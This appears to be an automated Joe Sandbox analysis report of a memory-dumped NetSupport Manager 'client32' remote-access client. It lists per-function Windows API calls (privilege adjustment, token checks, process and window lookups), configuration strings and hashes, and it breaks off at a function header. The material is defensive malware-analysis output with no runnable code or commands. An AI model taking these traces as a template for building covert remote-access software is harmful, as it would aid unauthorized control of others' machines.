CoInitialize.OLE32(00000000), ref: 11115BC5
CoCreateInstance.OLE32(111C081C,00000000,00000001,111C082C,00000000,?,00000000,Client,silent,00000000,00000000,?,1104BADF), ref: 11115BDF
LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000000,Client,silent,00000000,00000000), ref: 11115C04
GetProcAddress.KERNEL32(00000000,SHGetSettings), ref: 11115C16
SHGetSettings.SHELL32(?,00000200,?,00000000,Client,silent,00000000,00000000), ref: 11115C29
FreeLibrary.KERNEL32(00000000,?,00000000,Client,silent,00000000,00000000), ref: 11115C35
CoUninitialize.COMBASE(00000000), ref: 11115CD1

Strings

SHGetSettings, xrefs: 11115C10
SHELL32.DLL, xrefs: 11115BF5

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Library$AddressCreateFreeInitializeInstanceLoadProcSettingsUninitialize
String ID: SHELL32.DLL$SHGetSettings
API String ID: 4195908086-2348320231
Opcode ID: 840c1eadb0258f47a734e7be087c5142de7588e2c7107701b0399a58d14c8a79
Instruction ID: 591e2108fd72310e634c09c07143bf968b2bad8d72189eb08e80a39284cb5d12
Opcode Fuzzy Hash: 840c1eadb0258f47a734e7be087c5142de7588e2c7107701b0399a58d14c8a79
Instruction Fuzzy Hash: 1751A075A0020A9FDB40DFE5C9C4AAFFBB9FF89304F104629E516AB244E731A941CB61

Function 110733B0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110734E0
_memset.LIBCMT ref: 11073659

Strings

_License, xrefs: 110734A1
NBCTL32.DLL, xrefs: 11073595
serial_no, xrefs: 1107349C

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: _memset
String ID: NBCTL32.DLL$_License$serial_no
API String ID: 2102423945-35127696
Opcode ID: 1bc3c350b5695b2c8a219e67917739aeea91881a13f4a17e71b6933ab04c4b4d
Instruction ID: b704a80906741011c15d1468992a84ddd821d027e1e1ff2b1c0992d848e69eb8
Opcode Fuzzy Hash: 1bc3c350b5695b2c8a219e67917739aeea91881a13f4a17e71b6933ab04c4b4d
Instruction Fuzzy Hash: 64B18E75E00209AFE714CFA8DC81BAEB7F5FF88304F148169E9499B295DB71A901CB90

Function 110310C0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(1102E480,?,00000000), ref: 110310E4

Strings

Client32, xrefs: 110310C4
NSMWClass, xrefs: 110310EF
NSMWClass, xrefs: 11031103

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: Client32$NSMWClass$NSMWClass
API String ID: 3192549508-611217420
Opcode ID: 3211d65015dcc44e5dd59bdf27473333a197f9ceb9b14f7f353df042485d09a4
Instruction ID: e21dedaf74b0f8cf59cf3be59171af9e644e6a1753dc25f7f597d2ad8de8aca1
Opcode Fuzzy Hash: 3211d65015dcc44e5dd59bdf27473333a197f9ceb9b14f7f353df042485d09a4
Instruction Fuzzy Hash: 44F04F7891112A9FCB06DFA9D890A9EF7E4AB4821CB508165E82587348EB30A605CB95

Function 1109E910 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,1102FCB2,?,00000000), ref: 1109E948
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109E964
AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,00B5F810,00B5F810,00B5F810,00B5F810,00B5F810,00B5F810,00B5F810,111EEB64,?,00000001,00000001), ref: 1109E990
EqualSid.ADVAPI32(?,00B5F810,?,00000001,00000001), ref: 1109E9A3

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: InformationToken$AllocateEqualInitialize
String ID:
API String ID: 1878589025-0
Opcode ID: df3ee88bcedd232c82b95f826b647b916292d8a5149356288e18f949a5596a8a
Instruction ID: 8f268d00a2632c5decc73a479da56acc1190ac8ef7b7f04f8431c56e7d3a1b5e
Opcode Fuzzy Hash: df3ee88bcedd232c82b95f826b647b916292d8a5149356288e18f949a5596a8a
Instruction Fuzzy Hash: 22217131B0122EABEB10DBA4CC81BBEB7B8EB44708F100469E919D7184E671AD00CBA1

Function 1109D440 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000F01FF,?,11030063,00000000,00000000,00080000,1B492F88,00080000,00000000,00000000), ref: 1109D46D
OpenProcessToken.ADVAPI32(00000000), ref: 1109D474
LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109D485
AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109D4A9

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 2349140579-0
Opcode ID: b2ad1513cc86a00d87a5922bdef26ddabf3e928486d47d374c40a1db595ff72d
Instruction ID: 1acc50509d1dc0efa8f8b8857b060522b21de2b31161cc556941a9c494b785c9
Opcode Fuzzy Hash: b2ad1513cc86a00d87a5922bdef26ddabf3e928486d47d374c40a1db595ff72d
Instruction Fuzzy Hash: AE015EB5640218ABD710DFA4CC89BAAF7BCFF44B05F10452DFA1597280D7B1AA04CB71

Function 1109D4D0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,00000000,?,?,00000000,00000000,00000000,1109E810,00000244,cant create events), ref: 1109D4EC
CloseHandle.KERNEL32(?,00000000,1109E810,00000244,cant create events), ref: 1109D4F5

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: f88a9555f2545ca551a8130bcebdd0bed71c0aa378151d9f95003999b02a9da9
Instruction ID: ae8e9f792a84aceb39bcb46fd7c9804e810fa9328d8f27f892a8d401e6504800
Opcode Fuzzy Hash: f88a9555f2545ca551a8130bcebdd0bed71c0aa378151d9f95003999b02a9da9
Instruction Fuzzy Hash: 55E0EC71654614ABE738CF28DC95FA677ECAF09B01F11495DF9A6D6180CA60F8408B64

Function 1102E640 Relevance: 241.6, APIs: 31, Strings: 106, Instructions: 1869windowthreadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

GetSystemMetrics.USER32(00002000), ref: 1102E7C4
FindWindowA.USER32(NSMWClass,00000000), ref: 1102E985

Part of subcall function 111100D0: GetCurrentThreadId.KERNEL32 ref: 11110166
Part of subcall function 111100D0: InitializeCriticalSection.KERNEL32(-00000010,?,11031040,00000001,00000000), ref: 11110179
Part of subcall function 111100D0: InitializeCriticalSection.KERNEL32(111F08F0,?,11031040,00000001,00000000), ref: 11110188
Part of subcall function 111100D0: EnterCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111019C
Part of subcall function 111100D0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031040), ref: 111101C2

GetWindowThreadProcessId.USER32(00000000,?), ref: 1102E9C1
OpenProcess.KERNEL32(00100400,00000000,?), ref: 1102E9E9
IsILS.PCICHEK(?,?,View,Client,Bridge), ref: 1102ECAB

Part of subcall function 11094B30: OpenProcessToken.ADVAPI32(00000000,00000018,00000000,00000000,00000000,00000000,?,?,1102EA18,00000000,?,00000100,00000000,00000000,00000000), ref: 11094B4C
Part of subcall function 11094B30: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,?,1102EA18,00000000,?,00000100,00000000,00000000,00000000), ref: 11094B59
Part of subcall function 11094B30: CloseHandle.KERNEL32(00000000,00000000,?,00000100,00000000,00000000,00000000), ref: 11094B89

SendMessageA.USER32(00000000,00000010,00000000,00000000), ref: 1102EA48
WaitForSingleObject.KERNEL32(00000000,00007530), ref: 1102EA54
CloseHandle.KERNEL32(00000000), ref: 1102EA6C
FindWindowA.USER32(NSMWClass,00000000), ref: 1102EA79
GetWindowThreadProcessId.USER32(00000000,?), ref: 1102EA9B
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 1102E7F6

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

LoadIconA.USER32(11000000,000004C1), ref: 1102EE45
LoadIconA.USER32(11000000,000004C2), ref: 1102EE55
DestroyCursor.USER32(00000000), ref: 1102EE7E
DestroyCursor.USER32(00000000), ref: 1102EE92
GetVersion.KERNEL32(?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 1102F45F
GetVersionExA.KERNEL32(?,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 1102F4B2
Sleep.KERNEL32(00000064,Client,*StartupDelay,00000000,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000), ref: 1102FA52
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 1102FA8C

Part of subcall function 11132BF0: wsprintfA.USER32 ref: 11132C60
Part of subcall function 11132BF0: GetTickCount.KERNEL32 ref: 11132C91
Part of subcall function 11132BF0: SHGetFolderPathA.SHFOLDER(00000000,0000002B,00000000,00000000,?), ref: 11132CA4
Part of subcall function 11132BF0: GetTickCount.KERNEL32 ref: 11132CAC

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

DispatchMessageA.USER32(?), ref: 1102FA96
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 1102FAA8
CloseHandle.KERNEL32(00000000,11027270,00000001,00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 1102FD40
GetCurrentProcess.KERNEL32(00000000,Client,*PriorityClass,00000080,00000000,Client,*ScreenScrape,00000000,00000000,?,?,?,?,?,00000000), ref: 1102FD78
SetPriorityClass.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000), ref: 1102FD7F
SetWindowPos.USER32(0002043C,000000FF,00000000,00000000,00000000,00000000,00000013,Client,AlwaysOnTop,00000000,00000000), ref: 1102FDB5
CloseHandle.KERNEL32(00000000,11059C10,00000001,00000000,?,?,?,?,?,?,?,?,00000000), ref: 1102FE36
wsprintfA.USER32 ref: 1102FFA5
PostMessageA.USER32(NSMWControl32,00000000,Default,UseIPC,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 110300F7
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 1103010D
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 11030136
PostMessageA.USER32(00000000,00000693,00000000,00000000), ref: 1103015F

Part of subcall function 111281B0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,1B492F88,00000002,74DF2EE0), ref: 1112820A
Part of subcall function 111281B0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 11128217
Part of subcall function 111281B0: WaitForSingleObject.KERNEL32(?,000000FF,00000000,00000000), ref: 1112825E

Strings

Windows 7, xrefs: 1102F773
V12.10.8, xrefs: 1102F98E, 1102F9C2
TCPIP, xrefs: 110300A3
ShowKBEnable, xrefs: 1102F1B2
Error. Could not load transports - perhaps another client is running, xrefs: 1102FC63
cl32main, xrefs: 1102E673
\Explorer.exe, xrefs: 110302FD
Bridge, xrefs: 1102EABD
V12.00.8, xrefs: 1102F987
Audio, xrefs: 1102F0A7, 1102F481
*PriorityClass, xrefs: 1102FD68
_debug, xrefs: 1102EDED, 1102EF46, 11030004
LSPloaded=%d, WFPloaded=%d, xrefs: 1102EFBA
Info. Trying to close client, xrefs: 1102EA34
DisableRequestHelp, xrefs: 1102F217, 1102F2B5
NSM.LIC, xrefs: 1102EAFD, 1102EB9B
OS2, xrefs: 1102F567
Windows CE, xrefs: 1102F959
*ListenPort, xrefs: 1103009E
DisableConsoleClient, xrefs: 1102F039, 1102F0CE
Windows XP Ding.wav, xrefs: 1102F3E1
UseNTSecurity, xrefs: 1102FEBA
Windows XP x64, xrefs: 1102F639
Windows XP, xrefs: 1102F5E3
AlwaysOnTop, xrefs: 1102FD8F
UseLegacyPrintCapture, xrefs: 1102F440
Windows 98, xrefs: 1102F4F5
NSTWControl32, xrefs: 1103014A
EnableSmartcardAuth, xrefs: 1102FEDB
CLIENT32.CPP, xrefs: 1102E80A, 1102ED9B
TraceIPC, xrefs: 1102FFFF
Windows 8 x64, xrefs: 1102F7EA
NSSWControl32, xrefs: 11030121
DisableTSAdmin, xrefs: 1102F051
DisableAudioFilter, xrefs: 1102F0A2, 1102F47C
DisableReplayMenu, xrefs: 1102F1FF, 1102F29D
Windows 2003 x64, xrefs: 1102F672
Windows 2000, xrefs: 1102F5B5
Windows NT, xrefs: 1102F588
Session shutting down, exiting..., xrefs: 1102E7CE
General, xrefs: 1102EF28, 1102F008, 1102F377, 1102F3AA
DisableRunplugin, xrefs: 1102F110
*ScreenScrape, xrefs: 1102FAD1, 1102FB1A, 1102FD4C
Windows Ding.wav, xrefs: 1102F3DA
*BeepUsingSpeaker, xrefs: 1102F372
ScreenScrape, xrefs: 1102F128, 1102F152, 1102F17C
istaUI, xrefs: 1102E6F6
Found old explorer hwnd=x%x h=%d,w=%d,style=x%x (%s), xrefs: 11030346
TracePriv, xrefs: 1102FA04
DisableJournalMenu, xrefs: 1102F247, 1102F2E5
IsILS returned %d, isvistaservice %d, xrefs: 1102ECBA
Ready, xrefs: 11030161
pcicl32, xrefs: 1102E954
NeedsReinstall, xrefs: 1102EFDC
closed ok, xrefs: 1102EA5E
View, xrefs: 1102EAD5, 1102EED5, 1102EEEC, 1102EF0D
UseIPC, xrefs: 1102FFCC
AssertTimeout, xrefs: 1102EF23
NSMWClass, xrefs: 1102E786, 1102E967, 1102EA74, 1102FF8F
NSMWClassVista, xrefs: 1102E775
Windows 95, xrefs: 1102F4C4
client32, xrefs: 1102EBE5, 1102ED82
Windows 8.1, xrefs: 1102F849
Windows 2012, xrefs: 1102F81B
Windows Millennium, xrefs: 1102F525
Info. Client already running, pid=%d (x%x), xrefs: 1102E9CF
EnableGradientCaptions, xrefs: 1102EED0, 1102EEE7, 1102EF08
NSMWControl32, xrefs: 110300F2
DisableAudio, xrefs: 1102F069, 1102F08A, 1102F0F8, 1102F25F, 1102F2FD
Windows Vista x64, xrefs: 1102F6D7
NSA.LIC, xrefs: 1102EB0B, 1102EB12, 1102EB35
Windows Vista, xrefs: 1102F6A9
Global\NSMWClassAdmin, xrefs: 1102FF9A
Windows 2016, xrefs: 1102F92E
NoFTWhenLoggedOff, xrefs: 1102F315
Error x%x reading nsm.lic, sesh=%d, xrefs: 1102EB66
CabinetWClass, xrefs: 11030257
DisableJoinClass, xrefs: 1102F1E7, 1102F285
Windows 7 x64, xrefs: 1102F794
Windows 10 x64, xrefs: 1102F8F7
Client, xrefs: 1102EAC9, 1102EFE1, 1102F06E, 1102F08F, 1102F0FD, 1102F115, 1102F12D, 1102F157, 1102F181, 1102F1B7, 1102F1EC, 1102F204, 1102F21C, 1102F234, 1102F24C, 1102F264, 1102F28A, 1102F2A2, 1102F2BA, 1102F2D2, 1102F2EA, 1102F302, 1102F31A, 1102F332, 1102F445, 1102FA2B, 1102FAD6, 1102FB1F, 1102FCFA, 1102FD51, 1102FD6D, 1102FD94, 1102FEA4, 1102FEBF, 1102FEE0, 1102FFD1
EnableSmartcardLogon, xrefs: 1102FE9F
hClientRunning = %x, pid=%d (x%x), xrefs: 1102EAAA
win8ui, xrefs: 1102EDE8
Windows 2008 x64, xrefs: 1102F73C
Windows 8, xrefs: 1102F7C2
016477, xrefs: 1102FB8D, 1102FBE6, 1102FC27, 1102FD04
Windows 2008, xrefs: 1102F710
RestartAfterError, xrefs: 1102F003
*StartupDelay, xrefs: 1102FA26
DisableJournal, xrefs: 1102F22F, 1102F2CD
DisableHelp, xrefs: 1102F32D
_debug, xrefs: 1102FA09
Intel error "%s", xrefs: 1102ED48
istaService, xrefs: 1102E6DB
Windows 2012 R2, xrefs: 1102F898
Windows 10, xrefs: 1102F8C7
Windows 8.1 x64, xrefs: 1102F86C
Info. Client running as user=%s, type=%d, xrefs: 1102EA22
MiniDumpType, xrefs: 1102EF41
Windows 2003, xrefs: 1102F60A
Found new explorer hwnd=x%x h=%d,w=%d,style=x%x (%s), xrefs: 110303E4
gClient.hNotifyEvent, xrefs: 1102E80F
*BeepSound, xrefs: 1102F3A5
Error. Wrong hardware. Terminating, xrefs: 1102ECE9
Default, xrefs: 110300EB, 1103011A, 11030143

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Message$Process$Window$CloseCreateEventHandlePostwsprintf$CriticalOpenSectionThread$CountCurrentCursorDestroyFindIconInitializeLoadObjectPeekSingleTickTokenVersionWait$ClassDispatchEnterErrorExitFolderLastMetricsPathPrioritySendSleepSystem__wcstoi64_malloc_memset
String ID: *BeepSound$*BeepUsingSpeaker$*ListenPort$*PriorityClass$*ScreenScrape$*StartupDelay$016477$AlwaysOnTop$AssertTimeout$Audio$Bridge$CLIENT32.CPP$CabinetWClass$Client$Default$DisableAudio$DisableAudioFilter$DisableConsoleClient$DisableHelp$DisableJoinClass$DisableJournal$DisableJournalMenu$DisableReplayMenu$DisableRequestHelp$DisableRunplugin$DisableTSAdmin$EnableGradientCaptions$EnableSmartcardAuth$EnableSmartcardLogon$Error x%x reading nsm.lic, sesh=%d$Error. Could not load transports - perhaps another client is running$Error. Wrong hardware. Terminating$Found new explorer hwnd=x%x h=%d,w=%d,style=x%x (%s)$Found old explorer hwnd=x%x h=%d,w=%d,style=x%x (%s)$General$Global\NSMWClassAdmin$Info. Client already running, pid=%d (x%x)$Info. Client running as user=%s, type=%d$Info. Trying to close client$Intel error "%s"$IsILS returned %d, isvistaservice %d$LSPloaded=%d, WFPloaded=%d$MiniDumpType$NSA.LIC$NSM.LIC$NSMWClass$NSMWClassVista$NSMWControl32$NSSWControl32$NSTWControl32$NeedsReinstall$NoFTWhenLoggedOff$OS2$Ready$RestartAfterError$ScreenScrape$Session shutting down, exiting...$ShowKBEnable$TCPIP$TraceIPC$TracePriv$UseIPC$UseLegacyPrintCapture$UseNTSecurity$V12.00.8$V12.10.8$View$Windows 10$Windows 10 x64$Windows 2000$Windows 2003$Windows 2003 x64$Windows 2008$Windows 2008 x64$Windows 2012$Windows 2012 R2$Windows 2016$Windows 7$Windows 7 x64$Windows 8$Windows 8 x64$Windows 8.1$Windows 8.1 x64$Windows 95$Windows 98$Windows CE$Windows Ding.wav$Windows Millennium$Windows NT$Windows Vista$Windows Vista x64$Windows XP$Windows XP Ding.wav$Windows XP x64$\Explorer.exe$_debug$_debug$cl32main$client32$closed ok$gClient.hNotifyEvent$hClientRunning = %x, pid=%d (x%x)$istaService$istaUI$pcicl32$win8ui
API String ID: 1099283604-1382196521
Opcode ID: a9e638ff69f1124c323ad2d8e1e7c75ea6f1f7704d0975bff64711fd33ab6bf8
Instruction ID: 27af1d42f1b4f6ddb2c14770db7fbacfca67435089f052a3aa779117de4136e9
Opcode Fuzzy Hash: a9e638ff69f1124c323ad2d8e1e7c75ea6f1f7704d0975bff64711fd33ab6bf8
Instruction Fuzzy Hash: 3CE25D75F0022AABEF15DBE4DC80FADF7A5AB4474CF904068E925AB3C4D770A944CB52

Function 1102DB00 Relevance: 82.9, APIs: 15, Strings: 32, Instructions: 630
